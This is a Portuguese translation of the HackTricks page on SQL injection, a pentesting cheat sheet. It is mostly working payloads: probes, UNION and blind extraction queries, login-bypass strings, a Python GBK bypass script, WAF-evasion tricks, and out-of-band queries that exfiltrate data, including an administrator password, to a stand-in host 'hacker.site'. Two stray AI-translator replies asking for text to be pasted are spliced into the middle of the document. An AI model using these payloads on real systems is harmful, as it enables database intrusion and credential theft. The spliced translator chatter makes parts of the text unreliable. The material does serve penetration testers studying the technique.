SQL Injection

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

O que é SQL injection?

Uma SQL injection é uma falha de segurança que permite a atacantes interferir nas consultas do banco de dados de uma aplicação. Essa vulnerabilidade pode permitir que atacantes visualizem, modifiquem ou excluam dados aos quais não deveriam ter acesso, incluindo informações de outros usuários ou quaisquer dados que a aplicação possa acessar. Tais ações podem resultar em alterações permanentes na funcionalidade ou no conteúdo da aplicação, ou até no comprometimento do servidor ou em negação de serviço.

Entry point detection

Quando um site aparenta ser vulnerável a SQL injection (SQLi) devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o primeiro passo é entender como injetar dados na query sem interrompê‑la. Isso requer identificar o método para escapar do contexto atual de forma eficaz. Estes são alguns exemplos úteis:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Então, você precisa saber como corrigir a query para que não haja erros. Para corrigir a query, você pode input dados para que a query anterior aceite os novos dados, ou pode simplesmente input seus dados e adicionar um símbolo de comentário no final.

Observe que, se você conseguir ver mensagens de erro ou detectar diferenças entre quando uma query está funcionando e quando não está, esta fase será mais fácil.

Comentários

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Confirmando com operações lógicas

Um método confiável para confirmar uma vulnerabilidade de SQL injection envolve executar uma operação lógica e observar os resultados esperados. Por exemplo, um parâmetro GET como ?username=Peter que retorna conteúdo idêntico quando modificado para ?username=Peter' or '1'='1 indica uma vulnerabilidade de SQL injection.

De forma semelhante, a aplicação de operações matemáticas serve como técnica efetiva de confirmação. Por exemplo, se acessar ?id=1 e ?id=2-1 produzir o mesmo resultado, isso é indicativo de SQL injection.

Exemplos demonstrando confirmação por operação lógica:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Esta lista de palavras foi criada para tentar confirmar SQLinjections da maneira proposta:

SQLi verdadeiro ``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```

Confirmando por tempo

Em alguns casos você não notará nenhuma alteração na página que está testando. Portanto, uma boa forma de descobrir blind SQL injections é fazer o DB executar ações que terão um impacto no tempo que a página precisa para carregar.
Portanto, vamos concatenar na query SQL uma operação que levará muito tempo para completar:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Em alguns casos as sleep functions não serão permitidas. Então, em vez de usar essas funções você pode fazer com que a query execute operações complexas que levarão vários segundos. Exemplos dessas técnicas serão comentados separadamente em cada tecnologia (se houver).

Identificando o back-end

A melhor maneira de identificar o back-end é tentando executar funções dos diferentes back-ends. Você pode usar as sleep functions da seção anterior ou estas aqui (tabela do payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Além disso, se você tiver acesso à saída da query, pode fazê-la imprimir a versão do banco de dados.

Tip

Na continuação vamos discutir diferentes métodos para explorar diferentes tipos de SQL Injection. Usaremos MySQL como exemplo.

Identificando com PortSwigger

SQL injection cheat sheet | Web Security Academy

Explorando Union Based

Detectando o número de colunas

Se você conseguir ver a saída da query, este é o melhor modo de explorá-la.\
Antes de tudo, precisamos descobrir o número de colunas que a requisição inicial está retornando. Isso porque ambas as queries devem retornar o mesmo número de colunas.\
Dois métodos são tipicamente usados para esse propósito:

Order/Group by

Para determinar o número de colunas em uma query, ajuste incrementalmente o número usado nas cláusulas ORDER BY ou GROUP BY até que seja recebida uma resposta de erro. Apesar das funcionalidades distintas de GROUP BY e ORDER BY no SQL, ambas podem ser utilizadas da mesma forma para determinar o número de colunas da query.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Select mais e mais valores null até que a query esteja correta:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Você deve usar null pois, em alguns casos, o tipo das colunas de ambos os lados da query deve ser o mesmo e null é válido em todos os casos.

Extrair nomes de bancos de dados, nomes de tabelas e nomes de colunas

Nos exemplos a seguir vamos recuperar o nome de todos os bancos de dados, o nome das tabelas de um banco de dados e os nomes das colunas da tabela:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Existe uma maneira diferente de descobrir esses dados em cada banco de dados diferente, mas a metodologia é sempre a mesma.

Exploiting Hidden Union Based

Quando a saída de uma query está visível, mas uma union-based injection parece inatingível, isso significa a presença de uma hidden union-based injection. Esse cenário frequentemente resulta em uma situação de blind injection. Para transformar uma blind injection em uma union-based, é preciso identificar a query de execução no backend.

Isso pode ser feito usando blind injection techniques juntamente com as tabelas padrão específicas do seu target Database Management System (DBMS). Para entender essas tabelas padrão, recomenda-se consultar a documentação do DBMS alvo.

Uma vez que a query foi extraída, é necessário adaptar seu payload para fechar com segurança a query original. Em seguida, uma union query é anexada ao seu payload, permitindo a exploração da union-based injection recém-acessível.

Para insights mais completos, consulte o artigo completo em Healing Blind Injections.

Exploiting Error based

Se por algum motivo você não consegue ver a output da query mas consegue ver as error messages, você pode fazer com que essas mensagens de erro ex-filtrate dados do banco de dados.
Seguindo um fluxo semelhante ao da exploração Union Based, você pode conseguir dump the DB.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Explorando Blind SQLi

Neste caso você não consegue ver os resultados da query ou os erros, mas pode distinguir quando a query retorna uma resposta true ou false porque há conteúdos diferentes na página.
Nesse caso, você pode abusar desse comportamento para dump the database char by char:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Explorando Error Blind SQLi

Este é o mesmo caso de antes, mas em vez de distinguir entre uma resposta true/false da query você pode distinguir entre um erro na query SQL ou não (talvez porque o servidor HTTP trave). Portanto, neste caso você pode forçar um SQLerror cada vez que adivinhar corretamente o caractere:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time Based SQLi

Neste caso não há nenhuma maneira de distinguir a resposta da query com base no contexto da página. Porém, você pode fazer a página demorar mais para carregar se o caractere adivinhado estiver correto. Já vimos essa técnica em uso antes para confirm a SQLi vuln.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Você pode usar stacked queries para executar múltiplas queries em sequência. Observe que, enquanto as queries subsequentes são executadas, os resultados não são retornados para a aplicação. Portanto, esta técnica é principalmente útil em relação a blind vulnerabilities, onde você pode usar uma segunda query para disparar um DNS lookup, erro condicional ou atraso de tempo.

Oracle não suporta stacked queries. MySQL, Microsoft e PostgreSQL os suportam: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Se nenhum outro método de exploração funcionou, você pode tentar fazer com que o database ex-filtrate as informações para um host externo controlado por você. Por exemplo, via DNS queries:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Exfiltração de dados fora de banda via XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Exploração Automatizada

Consulte o SQLMap Cheatsheet para explorar uma vulnerabilidade SQLi com sqlmap.

Informações específicas por tecnologia

Já discutimos todas as formas de explorar uma vulnerabilidade de SQL Injection. Encontre mais truques dependentes da tecnologia do banco de dados neste livro:

Ou você pode encontrar muitos truques sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

Authentication bypass

Lista para tentar contornar a funcionalidade de login:

Login bypass List

Raw hash authentication Bypass

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Esta consulta evidencia uma vulnerabilidade quando MD5 é usado com true para raw output em verificações de autenticação, tornando o sistema suscetível a SQL injection. Atacantes podem explorar isso ao criar entradas que, quando hashadas, produzem partes inesperadas de comandos SQL, levando ao acesso não autorizado.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Bypass de autenticação por hash injetado

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Lista recomendada:

Você deve usar como username cada linha da lista e como password sempre: Pass1234.
(Estes payloads também estão incluídos na grande lista mencionada no início desta seção)

GBK Authentication Bypass

Se o ’ estiver sendo escapado você pode usar %A8%27, e quando o ’ for escapado será criado: 0xA80x5c0x27 (╘’)

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Por favor, cole o script Python que você quer traduzir. Observação: não traduzirei código nem nomes de técnicas, plataformas, links, caminhos ou tags — apenas o texto descritivo ao redor.

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontexto)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Declaração INSERT

Modificar a senha de um objeto/usuário existente

Para isso você deve tentar criar um novo objeto com o nome do “master object” (provavelmente admin no caso de usuários) modificando algo:

  • Criar usuário chamado: AdMIn (letras maiúsculas e minúsculas)
  • Criar um usuário chamado: admin=
  • SQL Truncation Attack (quando há algum tipo de limite de comprimento no nome de usuário ou email) –> Criar usuário com nome: admin [a lot of spaces] a

SQL Truncation Attack

Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for por exemplo 30 e você quiser se passar pelo usuário admin, tente criar um nome de usuário chamado: “admin [30 spaces] a” e qualquer senha.

O banco de dados irá verificar se o nome de usuário inserido existe dentro do banco de dados. Se não, ele irá cortar o nome de usuário para o número máximo permitido de caracteres (neste caso para: “admin [25 spaces]”) e então removerá automaticamente todos os espaços no final atualizando dentro do banco de dados o usuário “admin” com a nova senha (algum erro pode aparecer, mas isso não significa que isso não funcionou).

More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Adicione tantos ','','' quanto considerar necessário para sair da cláusula VALUES. Se o delay for executado, você tem uma SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

A cláusula ON DUPLICATE KEY UPDATE no MySQL é usada para especificar ações que o banco de dados deve executar quando se tenta inserir uma linha que resultaria em um valor duplicado em um UNIQUE index ou PRIMARY KEY. O exemplo a seguir demonstra como esse recurso pode ser explorado para modificar a senha de uma conta de administrador:

Exemplo de Payload de Injeção:

Um payload de injeção pode ser criado da seguinte forma, onde se tenta inserir duas linhas na tabela users. A primeira linha é uma isca, e a segunda mira no e-mail de um administrador existente com a intenção de atualizar a senha:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Eis como funciona:

  • A query tenta inserir duas linhas: uma para generic_user@example.com e outra para admin_generic@example.com.
  • Se a linha para admin_generic@example.com já existir, a cláusula ON DUPLICATE KEY UPDATE é acionada, instruindo o MySQL a atualizar o campo password da linha existente para “bcrypt_hash_of_newpassword”.
  • Consequentemente, authentication pode então ser tentada usando admin_generic@example.com com a password correspondente ao bcrypt hash (“bcrypt_hash_of_newpassword” representa o bcrypt hash da nova password, que deve ser substituído pelo hash real da password desejada).

Extrair informação

Criando 2 contas ao mesmo tempo

Ao tentar criar um novo user, são necessários username, password e email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Usando decimal ou hexadecimal

Com esta técnica você pode extrair informações criando apenas 1 conta. É importante notar que você não precisa comentar nada.

Usando hex2dec e substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Não tenho acesso direto ao seu repositório. Por favor cole aqui o conteúdo do arquivo src/pentesting-web/sql-injection/README.md (ou um trecho) e eu o traduzirei para português, mantendo exatamente a mesma sintaxe Markdown/HTML e sem traduzir código, nomes técnicos, links, paths ou tags.

Se preferir, você pode obter o texto localmente com um comando como: cat src/pentesting-web/sql-injection/README.md e colar a saída aqui.

__import__('binascii').unhexlify(hex(215573607263)[2:])

Usando hex e replace (e substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Routed SQL injection

Routed SQL injection é uma situação em que a query injetável não é a que fornece a saída, mas a saída da query injetável vai para a query que fornece a saída. (From Paper)

Example:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Initial bypasses from here

No spaces bypass

No Space (%20) - bypass usando alternativas para espaços em branco

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass using comments

?id=1/*comment*/and/**/1=1/**/--

Sem whitespace - bypass usando parênteses

?id=(1)and(1)=(1)--

No commas bypass

No Comma - bypass usando OFFSET, FROM e JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

Blacklist usando palavras-chave - bypass usando maiúsculas/minúsculas

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist usando keywords case insensitive - bypass usando um operador equivalente

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Bypass do WAF usando notação científica

Você pode encontrar uma explicação mais aprofundada deste truque em gosecure blog.
Basicamente, você pode usar a notação científica de formas inesperadas para contornar o WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Contornando a restrição de nomes de colunas

Primeiro, note que se a consulta original e a tabela onde você quer extrair a flag têm a mesma quantidade de colunas você pode simplesmente fazer: 0 UNION SELECT * FROM flag

É possível acessar a terceira coluna de uma tabela sem usar seu nome usando uma consulta como a seguinte: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, então em uma sqlinjection isso ficaria assim:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Ou usando um comma bypass:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Este truque foi retirado de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Column/tablename injection in SELECT list via subqueries

Se a entrada do usuário for concatenada na lista SELECT ou em identificadores de tabela/coluna, prepared statements não ajudam porque bind parameters protegem apenas valores, não identificadores. Um padrão comum vulnerável é:

// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);

Ideia de exploração: injetar uma subquery na posição do campo para exfiltrar dados arbitrários:

-- Legit
SELECT user_name FROM vte_users WHERE id=1;

-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;

Notas:

  • Isso funciona mesmo quando a cláusula WHERE usa um bound parameter, porque a lista de identificadores ainda é concatenada como string.
  • Algumas stacks também permitem que você controle o nome da tabela (tablename injection), possibilitando leituras entre tabelas.
  • Os output sinks podem refletir o valor selecionado em HTML/JSON, permitindo XSS ou exfiltração de tokens diretamente da resposta.

Mitigações:

  • Nunca concatene identificadores a partir de entrada do usuário. Mapeie os nomes de coluna permitidos para uma lista de permissões fixa e coloque aspas nos identificadores corretamente.
  • Se o acesso dinâmico a tabelas for necessário, restrinja a um conjunto finito e resolva no servidor a partir de um mapeamento seguro.

SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)

Some frameworks convertem ASTs de filtros estruturados em fragmentos booleanos SQL brutos (por exemplo, filtros de metadata ou predicados JSON) e então string-concatenate esses fragmentos em queries maiores. Se o conversor wraps string values as '%s' without escaping, uma aspa simples na entrada do usuário termina o literal e o resto é interpretado como SQL.

Padrão de exemplo (conceitual):

JSON_VALUE(metadata, '$.department') = '<user_value>'

Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → decodificado: ' OR '1'='1 → o predicado torna-se:

JSON_VALUE(metadata, '$.department') = '' OR '1'='1'

ORDER BY / identifier-based SQLi (PDO limitation)

Prepared statements não conseguem vincular identificadores (nomes de colunas ou tabelas). Um padrão inseguro comum é pegar um parâmetro sort controlado pelo usuário e construir um ORDER BY usando concatenação de strings, às vezes envolvendo a entrada em backticks para “sanitizá-la”. Isso ainda possibilita SQLi porque o contexto do identificador fica controlado pelo atacante.

Vulnerable pattern:

$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);

Sinais no tráfego:

  • Parâmetro sort em POST (frequentemente sort=column), sem uma allow-list fixa.
  • Mudar sort quebra a query ou altera a ordenação do output.

Ferramentas sugeridoras de WAF bypass

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub

Outros Guias

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks